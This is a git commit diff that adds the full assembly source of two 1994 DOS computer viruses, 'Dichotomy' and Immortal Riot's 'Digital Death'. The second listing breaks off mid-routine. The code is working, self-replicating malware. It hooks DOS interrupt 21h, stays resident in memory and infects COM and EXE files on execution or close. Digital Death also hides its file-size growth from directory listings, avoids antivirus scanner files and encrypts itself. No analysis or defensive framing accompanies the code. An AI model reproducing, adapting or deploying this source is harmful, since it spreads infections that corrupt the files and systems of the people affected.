Add files via upload
This commit is contained in:
parent
06c1f4dfdd
commit
dc888afe59
|
@ -0,0 +1,339 @@
|
|||
; Dichotomy Virus
|
||||
; (c) 1994 Evil Avatar
|
||||
;
|
||||
; TASM /M3 DIKOTOMY
|
||||
; TLINK /X DIKOTOMY
|
||||
; EXE2BIN DIKOTOMY DIKOTOMY.COM
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 0
|
||||
|
||||
;=====( Entry point for COM files )========================================
|
||||
|
||||
Dichotomy:
|
||||
call delta
|
||||
delta: mov bx, sp
|
||||
mov bp, word ptr ds:[bx]
|
||||
sub bp, offset delta ;get delta offset
|
||||
inc sp
|
||||
inc sp
|
||||
cmp word ptr ds:[bp+virus1], 'D['
|
||||
mov ah, 1ah
|
||||
lea dx, [bp+newDTA] ;buffer for new DTA
|
||||
int 21h ;set new disk transfer address
|
||||
mov ah, 4eh
|
||||
mov cx, 7 ;any attribute
|
||||
lea dx, [bp+FileName] ;host name
|
||||
int 21h ;find second host file
|
||||
jc maybe_host ;if carry, then we need a new host
|
||||
mov ax, 3d00h
|
||||
int 21h ;open second host
|
||||
xchg ax, bx ;handle is better in bx
|
||||
mov ax, 4200h
|
||||
sub cx, cx
|
||||
mov dx, word ptr ds:[bp+newDTA+1ah]
|
||||
sub dx, (offset heap-offset loader2)
|
||||
int 21h ;move pointer to virus code
|
||||
mov ah, 3fh
|
||||
mov cx, (offset heap-offset loader2)
|
||||
lea dx, [bp+loader2]
|
||||
int 21h ;read in second part of virus
|
||||
mov ah, 3eh
|
||||
int 21h ;close the file
|
||||
maybe_host:
|
||||
mov ah, 51h
|
||||
int 21h ;check if resident
|
||||
inc bx ;if resident, PSP should be -1
|
||||
jz resident ;yes? kewl!
|
||||
cmp word ptr ds:[bp+virus1], 'D[' ;check if we are fully here
|
||||
je go_res ;yes? we need to go resident
|
||||
return: mov ah, 1ah
|
||||
mov dx, 80h
|
||||
int 21h ;restore DTA
|
||||
lea si, [bp+comfix] ;offset of first 3 bytes of file
|
||||
mov di, 100h ;start of .com file
|
||||
mov ax, di
|
||||
push ax
|
||||
movsw
|
||||
movsb
|
||||
retn
|
||||
resident: cmp word ptr ds:[bp+virus1], 'D[' ;is the second host here?
|
||||
je return ;yes? return to program
|
||||
mov ah, 62h
|
||||
int 21h ;request new host
|
||||
jmp return ;return to host
|
||||
go_res: jmp loader2 ;go memory resident
|
||||
|
||||
;=====( Variables )========================================================
|
||||
|
||||
comfix db 0cdh, 20h, 0 ;first 3 bytes of .com file
|
||||
virus db '[Dichotomy]', 0 ;virus name
|
||||
author db '(c) 1994 Evil Avatar', 0 ;me
|
||||
FileName db 'DIKOTOMY.COM', 0, 73h dup (?) ;second host name
|
||||
loader1_end:
|
||||
|
||||
;=====( Go memory resident )===============================================
|
||||
|
||||
loader2:
|
||||
mov byte ptr ds:[bp+count], 0 ;infections = 0
|
||||
mov ah, 'E'
|
||||
xor ah, 0fh
|
||||
mov bx, -1
|
||||
int 21h ;get available memory
|
||||
mov ah, 'A'
|
||||
xor ah, 0bh
|
||||
sub bx, (virus_end-Dichotomy+15)/16+1
|
||||
int 21h ;create a hole in memory
|
||||
mov ax, 3521h
|
||||
int 21h ;get int 21h handler
|
||||
mov word ptr [bp+save21], bx
|
||||
mov word ptr [bp+save21+2], es ;save int 21h vector
|
||||
mov ah, 'E'
|
||||
xor ah, 0dh
|
||||
mov bx, (virus_end-Dichotomy+15)/16
|
||||
int 21h ;allocate the memory
|
||||
mov es, ax ;es is high virus segment
|
||||
mov cx, (virus_end-Dichotomy+1)/2
|
||||
lea si, [bp+Dichotomy]
|
||||
sub di, di
|
||||
rep movsw ;copy ourself up there
|
||||
push es
|
||||
pop ds ;save virus seg for int 21h change
|
||||
dec ax ;MCB segment
|
||||
mov es, ax
|
||||
mov word ptr es:[1], 8 ;make DOS the owner of our segment
|
||||
mov ax, 4541h
|
||||
sub ax, 2020h
|
||||
lea dx, [int21]
|
||||
int 21h ;set new int 21h handler
|
||||
push cs cs
|
||||
pop ds es ;restore PSP segments
|
||||
jmp return ;return to host
|
||||
|
||||
;=====( Find a new host )==================================================
|
||||
|
||||
request: push ds di si cx cs
|
||||
pop ds ;save registers
|
||||
mov di, bp ;set up scan registers
|
||||
sub si, si
|
||||
mov cx, 5
|
||||
repe cmpsw ;scan to see if it is us
|
||||
jne restore1 ;no? let dos take care of it
|
||||
mov ax, 4300h
|
||||
lea dx, [WhatRun]
|
||||
int 21h ;get attributes of file
|
||||
push cx ;save them
|
||||
mov ax, 4301h
|
||||
sub cx, cx
|
||||
int 21h ;clear attributes
|
||||
mov ax, 3d02h
|
||||
int 21h ;open file read/write
|
||||
xchg ax, bx
|
||||
mov ax, 5700h
|
||||
int 21h ;get file date/time
|
||||
and cx, 1fh ;get seconds
|
||||
cmp cx, 1fh ;is it 62?
|
||||
je cant_fix ;can't fix this file
|
||||
mov ax, 4202h
|
||||
sub cx, cx
|
||||
cwd
|
||||
int 21h ;go to end of file
|
||||
mov ah, 40h
|
||||
mov cx, (heap-loader2)
|
||||
lea dx, [loader2]
|
||||
int 21h ;copy to end of file
|
||||
mov ax, 5700h
|
||||
int 21h ;get file date/time
|
||||
or cx, 1fh
|
||||
mov ax, 5701h
|
||||
int 21h
|
||||
cant_fix: mov ax, 4301h
|
||||
pop cx ;get attributes
|
||||
int 21h ;restore attributes
|
||||
mov ah, 3eh
|
||||
int 21h ;close file
|
||||
restore1: pop cx si di ds ;restore registers
|
||||
jmp dos21 ;go to dos
|
||||
|
||||
;=====( Interrupt 21h handler )============================================
|
||||
|
||||
int21: inc ah
|
||||
cmp ah, 4ch ;execute file
|
||||
je infect ;infect it
|
||||
dec ah
|
||||
cmp ah, 51h ;install check
|
||||
je install_check
|
||||
cmp ah, 62h ;request for new host
|
||||
je _request
|
||||
dos21: jmp dword ptr cs:[save21] ;call dos
|
||||
_request: jmp request
|
||||
|
||||
;=====( Installation check )===============================================
|
||||
|
||||
install_check:
|
||||
push di si cx ds cs
|
||||
pop ds ;save registers
|
||||
mov di, bp ;set up scan registers
|
||||
sub si, si
|
||||
mov cx, 5
|
||||
repe cmpsw ;scan to see if it is us
|
||||
jne restore ;no? let dos take care of it
|
||||
mov bx, -1 ;return code
|
||||
pop ds ;restore ds
|
||||
add sp, 6 ;fix stack
|
||||
iret ;return
|
||||
restore: pop cx si di ds ;restore registers
|
||||
jmp dos21 ;go to dos
|
||||
|
||||
;=====( Infection routine )================================================
|
||||
|
||||
infect: dec ah
|
||||
call push_all ;save registers
|
||||
push cs
|
||||
pop es ;es equals code segment
|
||||
mov si, dx
|
||||
lea di, [WhatRun]
|
||||
mov cx, 40h
|
||||
rep movsw ;save filename in buffer
|
||||
mov si, dx ;ds:si equals file name
|
||||
lea di, [FileName]
|
||||
mov ax, 4300h
|
||||
int 21h ;get attributes of file
|
||||
push cx ;save them
|
||||
mov ax, 4301h
|
||||
sub cx, cx
|
||||
int 21h ;clear attributes
|
||||
mov ax, 3d02h
|
||||
int 21h ;open file read/write
|
||||
xchg ax, bx ;put handle in bx
|
||||
mov ax, 5700h
|
||||
int 21h ;get file time/date
|
||||
and cx, 1fh ;get seconds
|
||||
cmp cx, 1eh ;is 60 or 62?
|
||||
jae already_inf ;then already infected
|
||||
lodsb ;get drive letter
|
||||
dec si ;point to filename again
|
||||
and al, 5fh ;make it uppercase
|
||||
cmp al, 'C' ;is it C or higher?
|
||||
jb _single ;no? we must fully infect it
|
||||
cmp byte ptr cs:[count], 1 ;have we already done loader 2?
|
||||
jne do_loader2 ;yes? start doing loader 1s
|
||||
do_loader1:
|
||||
call inf_loader1
|
||||
jmp done_inf
|
||||
do_loader2:
|
||||
call inf_loader2
|
||||
jmp done_inf
|
||||
_single: push si di
|
||||
mov cx, 40h
|
||||
rep movsw ;save filename in buffer
|
||||
pop di si
|
||||
call inf_loader1
|
||||
call inf_loader2
|
||||
mov byte ptr cs:[count], 0
|
||||
done_inf: mov ah, 3eh
|
||||
int 21h ;close file
|
||||
already_inf:
|
||||
mov ax, 4301h
|
||||
pop cx ;get attributes
|
||||
int 21h ;restore attributes
|
||||
call pop_all ;restore registers
|
||||
jmp dos21 ;call dos
|
||||
|
||||
;=====( Infect file with loader 1 )========================================
|
||||
|
||||
inf_loader1:
|
||||
push si di ds dx cs ;save filename and other stuff
|
||||
pop ds
|
||||
mov byte ptr ds:[count], 0 ;do loader 2 from now on
|
||||
mov ah, 3fh
|
||||
mov cx, 3
|
||||
lea dx, [comfix]
|
||||
int 21h ;read in first 3 bytes
|
||||
mov ax, 4202h
|
||||
sub cx, cx
|
||||
cwd
|
||||
int 21h ;go to end of file
|
||||
or dx, dx
|
||||
jnz bad_file
|
||||
cmp ax, 65024-(virus_end-Dichotomy) ;see if file is too big
|
||||
jae bad_file
|
||||
mov cx, word ptr ds:[comfix]
|
||||
cmp cx, 'M'+'Z'
|
||||
jz bad_file ;can't infect .exe's
|
||||
sub ax, 3 ;calculate jump
|
||||
mov word ptr ds:[buffer], ax ;set up jump
|
||||
mov ah, 40h
|
||||
mov cx, (loader1_end-Dichotomy)
|
||||
cwd
|
||||
int 21h ;copy virus to end of file
|
||||
mov ax, 4200h
|
||||
sub cx, cx
|
||||
cwd
|
||||
int 21h ;go to beginning of file
|
||||
mov ah, 40h
|
||||
mov cx, 3
|
||||
lea dx, [buffer-1]
|
||||
int 21h ;copy jump to beginning
|
||||
mov ax, 5700h
|
||||
int 21h ;get file time/date
|
||||
mov ax, 5701h
|
||||
or cx, 1eh
|
||||
and cx, 0fffeh ;set to 60 seconds
|
||||
int 21h ;set new file time
|
||||
bad_file: pop dx ds di si
|
||||
retn
|
||||
|
||||
;=====( Infect file with loader 2 )========================================
|
||||
|
||||
inf_loader2:
|
||||
push ds dx ;save file name
|
||||
mov cx, 40h
|
||||
rep movsw ;save filename in buffer
|
||||
push cs
|
||||
pop ds ;ds needs to be code segment
|
||||
mov byte ptr ds:[count], 1 ;do loader 1 from now on
|
||||
mov ax, 4202h
|
||||
sub cx, cx
|
||||
cwd
|
||||
int 21h ;go to end of file
|
||||
mov ah, 40h
|
||||
mov cx, (heap-loader2)
|
||||
lea dx, [loader2]
|
||||
int 21h ;copy to end of file
|
||||
mov ax, 5700h
|
||||
int 21h ;get file date/time
|
||||
or cx, 1fh ;set to 62 seconds
|
||||
mov ax, 5701h
|
||||
int 21h ;set new file time
|
||||
pop dx ds ;restore file name
|
||||
retn ;return to caller
|
||||
|
||||
;=====( Push all registers )===============================================
|
||||
|
||||
push_all: pop word ptr cs:[p_all] ;save return code
|
||||
push ax bx cx dx bp si di ds es ;save registers
|
||||
pushf ;save flags
|
||||
jmp word ptr cs:[p_all] ;return to caller
|
||||
|
||||
;=====( Pop all registers )================================================
|
||||
|
||||
pop_all: pop word ptr cs:[p_all] ;save return code
|
||||
popf ;restore flags
|
||||
pop es ds di si bp dx cx bx ax ;restore registers
|
||||
jmp word ptr cs:[p_all] ;return to caller
|
||||
|
||||
;=====( More variables )===================================================
|
||||
|
||||
virus1 db '[Dichotomy]', 0 ;virus signature
|
||||
db 0e9h ;jump cs:xxxx
|
||||
heap:
|
||||
buffer dw ? ;jump buffer
|
||||
newDTA db 2bh dup (?) ;replacement disk transfer address
|
||||
save21 dd ? ;interrupt 21h vector
|
||||
p_all dw ? ;push/pop return value
|
||||
count db ? ;infection count
|
||||
WhatRun db 80h dup (?)
|
||||
virus_end:
|
||||
end Dichotomy
|
|
@ -0,0 +1,526 @@
|
|||
; ------------------------------------------------------------------------------
|
||||
;
|
||||
; - Digital Death -
|
||||
; Created by Immortal Riot's destructive development team
|
||||
; (c) 1994 Raver/Immortal Riot
|
||||
;
|
||||
;-------------------------------------------------------------------------------
|
||||
; þ Memory Resident Stealth Infector of COM/EXE programs þ
|
||||
;-------------------------------------------------------------------------------
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; DIGITAL DEATH - ver 0.90á
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
|
||||
cseg segment byte public 'code'
|
||||
assume cs:cseg, ds:cseg
|
||||
|
||||
org 100h
|
||||
|
||||
vir_size equ end_of_virus-start_of_virus
|
||||
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; Non-resident Install code
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
|
||||
start_of_virus:
|
||||
call get_delta
|
||||
get_delta: ;get the delta offset
|
||||
mov di,sp
|
||||
mov bp,word ptr ss:[di]
|
||||
sub bp,offset get_delta
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
call encrypt_decrypt ;decrypt virus
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; Start of encrypted area
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
|
||||
install_code:
|
||||
|
||||
mov ax,es ;restore segments now due to prefetch!!
|
||||
add ax,10h
|
||||
add word ptr cs:[bp+EXEret+2],ax
|
||||
add word ptr cs:[bp+EXEstack],ax
|
||||
|
||||
push es
|
||||
|
||||
mov ax,7979h ;check if already in mem
|
||||
int 21h
|
||||
cmp ax,'iR'
|
||||
je already_resident
|
||||
|
||||
mov ah,4ah ;get #of available paragraphs in bx
|
||||
mov bx,0ffffh
|
||||
int 21h
|
||||
|
||||
sub bx,(vir_size+15)/16+1 ;recalculate and
|
||||
mov ah,4ah
|
||||
int 21h
|
||||
|
||||
mov ah,48h ;allocate enough mem for virus
|
||||
mov bx,(vir_size+15)/16
|
||||
int 21h
|
||||
jc already_resident ;exit if error
|
||||
|
||||
dec ax ;ax-1 = MCB
|
||||
mov es,ax
|
||||
mov word ptr es:[1],8 ;Mark DOS as owner
|
||||
|
||||
push ax ;save for later use
|
||||
|
||||
mov ax,3521h ;get interrupt vector for int21h
|
||||
int 21h
|
||||
mov word ptr ds:[OldInt21h],bx
|
||||
mov word ptr ds:[OldInt21h+2],es
|
||||
|
||||
pop ax ;ax = MCB for allocated mem
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
cld ;cld for movsw
|
||||
sub ax,0fh ;es:[100h] = start of allocated mem
|
||||
mov es,ax
|
||||
mov di,100h
|
||||
lea si,[bp+offset start_of_virus]
|
||||
mov cx,(vir_size+1)/2 ;copy entire virii to mem
|
||||
rep movsw
|
||||
|
||||
push es
|
||||
pop ds
|
||||
|
||||
mov dx,offset new_int21h ;hook int21h to new_int21h
|
||||
mov ax,2521h
|
||||
int 21h
|
||||
|
||||
already_resident:
|
||||
|
||||
push cs
|
||||
push cs
|
||||
pop es
|
||||
pop ds
|
||||
|
||||
cmp byte ptr [bp+COMflag],1 ;check if COM or EXE
|
||||
jne exit_EXE
|
||||
|
||||
exit_COM: ;exit procedure for COMs
|
||||
mov di,100h
|
||||
lea si,[bp+COMret]
|
||||
mov cx,3
|
||||
rep movsb ;restore first three bytes
|
||||
|
||||
pop es ;and jmp to beginning
|
||||
mov ax,100h
|
||||
jmp ax
|
||||
|
||||
exit_EXE: ;exit procedure for EXEs
|
||||
pop es
|
||||
mov ax,es ;restore segment regs and ss:sp
|
||||
mov ds,ax
|
||||
cli
|
||||
mov ss,word ptr cs:[bp+EXEstack]
|
||||
mov sp,word ptr cs:[bp+EXEstack+2]
|
||||
sti
|
||||
|
||||
db 0eah ;and jmp to cs:ip
|
||||
EXEret db 0,0,0,0
|
||||
EXEstack dd 0
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; New int 21h handler
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
|
||||
new_int21h:
|
||||
|
||||
cmp ax,7979h ;return installation check
|
||||
jne continue
|
||||
mov ax,'iR'
|
||||
iret
|
||||
continue:
|
||||
cmp ax,4b00h ;check for exec?
|
||||
jne check_dir
|
||||
jmp infect
|
||||
check_dir:
|
||||
cmp ah,11h ;if dir function 11h, 12h
|
||||
je hide_dir
|
||||
cmp ah,12h
|
||||
je hide_dir
|
||||
cmp ah,4eh ;or function 4eh, 4fh
|
||||
je hide_dir2
|
||||
cmp ah,4fh
|
||||
je hide_dir2 ;do some dir stealth
|
||||
cmp ah,3eh ;check for close
|
||||
jne do_oldint
|
||||
jmp infect_close
|
||||
do_oldint:
|
||||
jmp do_oldint21h ;else do original int 21h
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; Dir stealth routines
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
|
||||
hide_dir: ;FCB stealth routine
|
||||
pushf ;simulate a int call with pushf
|
||||
push cs ;and cs, ip on the stack
|
||||
call do_oldint21h
|
||||
or al,al ;was the dir call sucessfull??
|
||||
jnz skip_dir ;if not skip it
|
||||
|
||||
push ax bx es ;preserve registers in use
|
||||
|
||||
mov ah,62h ;same as 51h - get current PSP to es:bx
|
||||
int 21h
|
||||
mov es,bx
|
||||
cmp bx,es:[16h] ;is the PSP ok??
|
||||
jnz bad_psp ;if not quit
|
||||
|
||||
mov bx,dx
|
||||
mov al,[bx] ;al holds current drive - FFh means
|
||||
push ax ;extended FCB
|
||||
mov ah,2fh ;get DTA-area
|
||||
int 21h
|
||||
pop ax
|
||||
inc al ;is it an extended FCB
|
||||
jnz no_ext
|
||||
add bx,7 ;if so add 7
|
||||
no_ext:
|
||||
mov al,byte ptr es:[bx+17h] ;get seconds field
|
||||
and al,1fh
|
||||
xor al,1dh ;is the file infected??
|
||||
jnz no_stealth ;if not - don't hide size
|
||||
|
||||
cmp word ptr es:[bx+1dh],vir_size ;if size is smaller than vir_size
|
||||
ja hide_it
|
||||
cmp word ptr es:[bx+1fh],0 ;it can't be infected
|
||||
je no_stealth ;so don't hide it
|
||||
hide_it:
|
||||
sub word ptr es:[bx+1dh],vir_size ;else sub vir_size
|
||||
sbb word ptr es:[bx+1fh],0
|
||||
no_stealth:
|
||||
bad_psp:
|
||||
pop es bx ax ;restore regs
|
||||
skip_dir:
|
||||
iret ;return to program
|
||||
|
||||
hide_dir2:
|
||||
pushf ;simulate a int call - push flags, cs and
|
||||
push cs ;ip on stack and jump to int handler
|
||||
call do_oldint21h
|
||||
jc eofs ;if no more files - return
|
||||
|
||||
push ax es bx ;preserve registers
|
||||
mov ah,2fh ;get DTA-area
|
||||
int 21h
|
||||
|
||||
mov ax,es:[bx+16h]
|
||||
and ax,1fh ;is the PSP ok??
|
||||
xor al,29
|
||||
jnz not_inf ; if not - jmp
|
||||
|
||||
cmp word ptr es:[bx+1ah],vir_size ;don't sub too small files
|
||||
ja sub_it
|
||||
cmp word ptr es:[bx+1ch],0
|
||||
je not_inf
|
||||
sub_it:
|
||||
sub word ptr es:[bx+1ah],vir_size ;sub vir_size
|
||||
sbb word ptr es:[bx+1ch],0
|
||||
not_inf:
|
||||
pop bx es ax ;restore registers
|
||||
eofs:
|
||||
retf 2 ;return and pop 2 of stack
|
||||
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; Infect on close routine
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
|
||||
infect_close:
|
||||
push es bp ax bx cx si di ds dx
|
||||
cmp bx,4 ;don't close NULL, AUX and so
|
||||
jbe no_close
|
||||
|
||||
call check_name ;es:di points to file name
|
||||
add di,8 ;es:di points to extension
|
||||
cmp word ptr es:[di],'OC'
|
||||
jne try_again
|
||||
cmp byte ptr es:[di+2],'M' ;if COM or EXE - infect
|
||||
je close_infection
|
||||
try_again:
|
||||
cmp word ptr es:[di],'XE'
|
||||
jne no_close
|
||||
cmp byte ptr es:[di+2],'E'
|
||||
je close_infection
|
||||
|
||||
no_close:
|
||||
pop dx ds di si cx bx ax bp es ;otherwise jmp to oldint
|
||||
jmp do_oldint21h
|
||||
|
||||
close_infection:
|
||||
mov byte ptr es:[di-26h],2 ;mark read & write access
|
||||
mov cs:Closeflag,1 ;raise closeflag for exit procedure
|
||||
mov ax,4200h ;rewind file
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
jmp infect_on_close ;infect it
|
||||
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; Determine file name for open handle
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
|
||||
check_name:
|
||||
push bx
|
||||
mov ax,1220h ;get job file table for handle at es:di
|
||||
int 2fh
|
||||
|
||||
mov ax,1216h ;get system file table
|
||||
mov bl,byte ptr es:[di] ;for handle index in bx
|
||||
int 2fh
|
||||
pop bx
|
||||
|
||||
add di,20h ;es:di+20h points to file name
|
||||
|
||||
ret ;return
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; Infection routine
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
|
||||
infect:
|
||||
|
||||
push es bp ax bx cx si di ds dx
|
||||
|
||||
mov cs:Closeflag,0 ;make sure closeflag is off
|
||||
|
||||
mov ax,4300h ;get attrib
|
||||
int 21h
|
||||
push cx
|
||||
mov ax,4301h ;and clear attrib
|
||||
xor cx,cx
|
||||
int 21h
|
||||
|
||||
mov ax,3d02h ;open file
|
||||
int 21h
|
||||
xchg ax,bx
|
||||
|
||||
infect_on_close: ;entry point if infection at close
|
||||
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
|
||||
mov ax,5700h ;save and check time/date stamp
|
||||
int 21h
|
||||
push dx
|
||||
push cx
|
||||
and cl,1fh
|
||||
xor cl,1dh
|
||||
jne read_it
|
||||
jmp skip_infect
|
||||
|
||||
read_it:
|
||||
mov ah,3fh ;read first 18h bytes
|
||||
mov cx,18h
|
||||
mov dx,offset EXEheader ;to EXEheader
|
||||
int 21h
|
||||
|
||||
mov byte ptr COMflag,0 ;check if EXE or COM and mark COMflag
|
||||
cmp word ptr EXEheader,'ZM'
|
||||
je is_EXE
|
||||
cmp word ptr EXEheader,'MZ'
|
||||
je is_EXE
|
||||
mov byte ptr COMflag,1
|
||||
|
||||
is_EXE:
|
||||
mov ax,4202h ;goto end of file
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
|
||||
push ax ;else save ax and infect EXE
|
||||
push es
|
||||
call check_name
|
||||
|
||||
cmp COMflag,1 ;if COM file continue to infect_COM
|
||||
je infect_COM
|
||||
|
||||
infect_EXE:
|
||||
cmp word ptr es:[di],'CS' ;check for common virus scanners
|
||||
je is_scanner
|
||||
cmp word ptr es:[di],'BT'
|
||||
je is_scanner
|
||||
cmp word ptr es:[di],'-F'
|
||||
je is_scanner
|
||||
cmp word ptr es:[di],'OT'
|
||||
je is_scanner
|
||||
cmp word ptr es:[di],'IV'
|
||||
jne no_scanner
|
||||
is_scanner:
|
||||
pop es
|
||||
jmp skip_infect
|
||||
no_scanner:
|
||||
pop es
|
||||
|
||||
|
||||
mov di,offset EXEret ;EXEret = IP/CS
|
||||
mov si,offset EXEheader+14h
|
||||
mov cx,2
|
||||
rep movsw
|
||||
|
||||
mov si,offset EXEheader+0eh ;EXEstack = SS/SP
|
||||
mov cx,2
|
||||
rep movsw
|
||||
|
||||
pop ax ;restore ax and
|
||||
|
||||
mov cx,10h
|
||||
div cx
|
||||
sub ax,word ptr [EXEheader+8h]
|
||||
mov word ptr [EXEheader+14h],dx ;calculate CS:IP
|
||||
mov word ptr [EXEheader+16h],ax
|
||||
add ax,100
|
||||
mov word ptr [EXEheader+0eh],ax ;SS:SP
|
||||
mov word ptr [EXEheader+10h],100h
|
||||
jmp short more_infection
|
||||
|
||||
infect_COM:
|
||||
|
||||
cmp word ptr es:[di],'OC' ;dont infect command.com!
|
||||
pop es
|
||||
pop ax
|
||||
jne no_command_com
|
||||
jmp skip_infect
|
||||
|
||||
no_command_com:
|
||||
mov di,offset COMret ;transfer first three bytes
|
||||
mov si,offset EXEheader ;could remove this and transfer
|
||||
mov cx,3 ;directly from EXEheader instead
|
||||
rep movsb ;doing so will save approximately 20 bytes
|
||||
|
||||
sub ax,3 ;subtract three from file length
|
||||
mov byte ptr [EXEheader],0e9h ;and build initial jump
|
||||
mov word ptr [EXEheader+1],ax
|
||||
|
||||
more_infection:
|
||||
|
||||
mov ah,2ch ;get random number from time
|
||||
int 21h
|
||||
mov word ptr ds:[enc_val],dx ;store it
|
||||
mov ax,08d00h
|
||||
mov es,ax
|
||||
mov di,100h
|
||||
mov si,di
|
||||
mov cx,(vir_size+1)/2
|
||||
rep movsw
|
||||
push es
|
||||
pop ds
|
||||
xor bp,bp
|
||||
call encrypt_decrypt ;and encrypt
|
||||
|
||||
|
||||
mov ah,40h ;write it to file
|
||||
mov cx,vir_size
|
||||
mov dx,offset start_of_virus
|
||||
int 21h
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
cmp byte ptr COMflag,0 ;if COM file skip the next part
|
||||
jne goto_start
|
||||
|
||||
mov ax,4202h ;go to end of file
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
|
||||
mov cx,512 ;recalculate new file length in 512-
|
||||
div cx ;byte pages
|
||||
inc ax
|
||||
mov word ptr [EXEheader+2],dx
|
||||
mov word ptr [EXEheader+4],ax
|
||||
|
||||
goto_start:
|
||||
mov ax,4200h ;go to beginning of file
|
||||
xor cx,cx
|
||||
cwd
|
||||
int 21h
|
||||
|
||||
cmp byte ptr [COMflag],1 ;if COM-file write first three bytes
|
||||
je write_3
|
||||
mov cx,18h ;else write whole EXE header
|
||||
jmp short write_18h
|
||||
write_3:
|
||||
mov cx,3
|
||||
write_18h:
|
||||
mov dx,offset EXEheader
|
||||
mov ah,40h
|
||||
int 21h
|
||||
|
||||
skip_infect: ;restore time/date and mark infected
|
||||
mov ax,5701h
|
||||
pop cx
|
||||
pop dx
|
||||
or cl,00011101b
|
||||
and cl,11111101b
|
||||
int 21h
|
||||
|
||||
cmp byte ptr cs:[Closeflag],1 ;if infection on close - don't close file
|
||||
je dont_close
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
pop cx
|
||||
dont_close:
|
||||
pop dx
|
||||
pop ds
|
||||
